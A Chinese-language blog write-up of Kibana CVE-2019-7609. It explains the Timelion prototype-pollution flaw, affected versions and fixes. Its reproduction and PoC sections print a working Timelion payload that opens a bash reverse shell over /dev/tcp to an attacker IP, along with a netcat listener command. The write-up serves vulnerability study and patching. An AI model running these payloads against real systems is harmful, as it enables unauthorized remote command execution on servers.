Kibana-CVE-2019-7609

AI-摘要
GPT-4.0-turbo GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
Kibana-CVE-2019-7609
Takake1.漏洞简介
CVE-2019-7609 漏洞详解
CVE-2019-7609 是 Kibana 中的一个严重远程代码执行(RCE)漏洞,也称为 Kibana 原型污染漏洞。该漏洞允许攻击者通过 Kibana 的 Timelion 组件,利用 JavaScript 原型链污染技术,在目标服务器上执行任意命令。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。
1. 漏洞背景
Kibana 是 Elasticsearch 的开源数据可视化工具,广泛用于日志分析和数据展示。Timelion 是 Kibana 中的一个时间序列数据可视化组件。该漏洞的核心问题在于 Timelion 组件对用户输入的 JavaScript 代码处理不当,导致攻击者可以通过原型链污染技术实现远程代码执行。
2. 漏洞原理
漏洞的核心在于 JavaScript 原型链污染:
原型链污染:
- JavaScript 中的每个对象都有一个原型(
__proto__
),原型对象又可以有自己的原型,形成原型链。 - 如果程序未对原型链的读写进行严格限制,攻击者可以通过修改原型链上的属性,影响全局对象的行为。
- JavaScript 中的每个对象都有一个原型(
漏洞触发点:
- Kibana 的 Timelion 组件允许用户输入 JavaScript 表达式,但未对输入进行严格验证。
- 攻击者可以通过构造恶意表达式,污染全局对象的原型链,进而修改环境变量(如
NODE_OPTIONS
),影响 Node.js 进程的行为。
远程代码执行:
- 通过污染
NODE_OPTIONS
环境变量,攻击者可以指定 Node.js 在执行时加载恶意模块,从而执行任意命令。 - 例如,攻击者可以通过
require("child_process").exec()
执行系统命令,实现反弹 Shell 或其他恶意操作。
- 通过污染
3. 影响版本
- 受影响版本:
- Kibana < 5.6.15
- Kibana < 6.6.1。
- 修复版本:
- Kibana 5.6.15 及以上版本
- Kibana 6.6.1 及以上版本。
4. 漏洞利用条件
目标系统:
- 运行受影响版本的 Kibana。
- Kibana 的 Timelion 组件已启用(默认启用)。
攻击者权限:
- 攻击者需要能够访问 Kibana 的 Timelion 页面(通常需要登录权限,但在某些配置下可能未授权访问)。
网络访问:
- 攻击者能够访问目标 Kibana 服务的端口(默认 5601)。
5. 漏洞复现
以下是漏洞复现的简要步骤:
环境搭建
下载并安装受影响版本的 Kibana(如 6.5.4)和 Elasticsearch(如 6.5.4)。
启动 Elasticsearch 和 Kibana:
1
2./bin/elasticsearch
./bin/kibana确保 Kibana 的 Timelion 组件可用。
漏洞利用
构造 Payload:
在 Timelion 输入框中输入以下 Payload(替换
攻击机IP
和端口
):1
2.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/攻击机IP/端口 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
执行 Payload:
点击“Run”按钮执行 Payload。
在攻击机上监听指定端口:
1
nc -lvp 端口
获取反弹 Shell:
- 如果漏洞利用成功,攻击机将收到目标服务器的反弹 Shell。
6. 修复建议
- 升级版本:
- 升级到 Kibana 5.6.15 或 6.6.1 及以上版本。
- 禁用 Timelion:
- 如果不需要 Timelion 功能,可以禁用该组件。
- 访问控制:
- 限制 Kibana 的访问权限,避免暴露在公网。
- 启用身份验证和授权机制,防止未授权访问。
- 监控和审计:
- 定期监控 Kibana 日志,检测异常访问行为。
7. 总结
CVE-2019-7609 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。
2.POC
- payloads
1 | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/bash -i >& /dev/tcp/192.168.100.129/10086 0>&1");process.exit()//') |
- 进入timelion模块,写入payload执行。
- 如果不成功多尝试几次。
1 | ┌──(root㉿kali)-[~] |
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果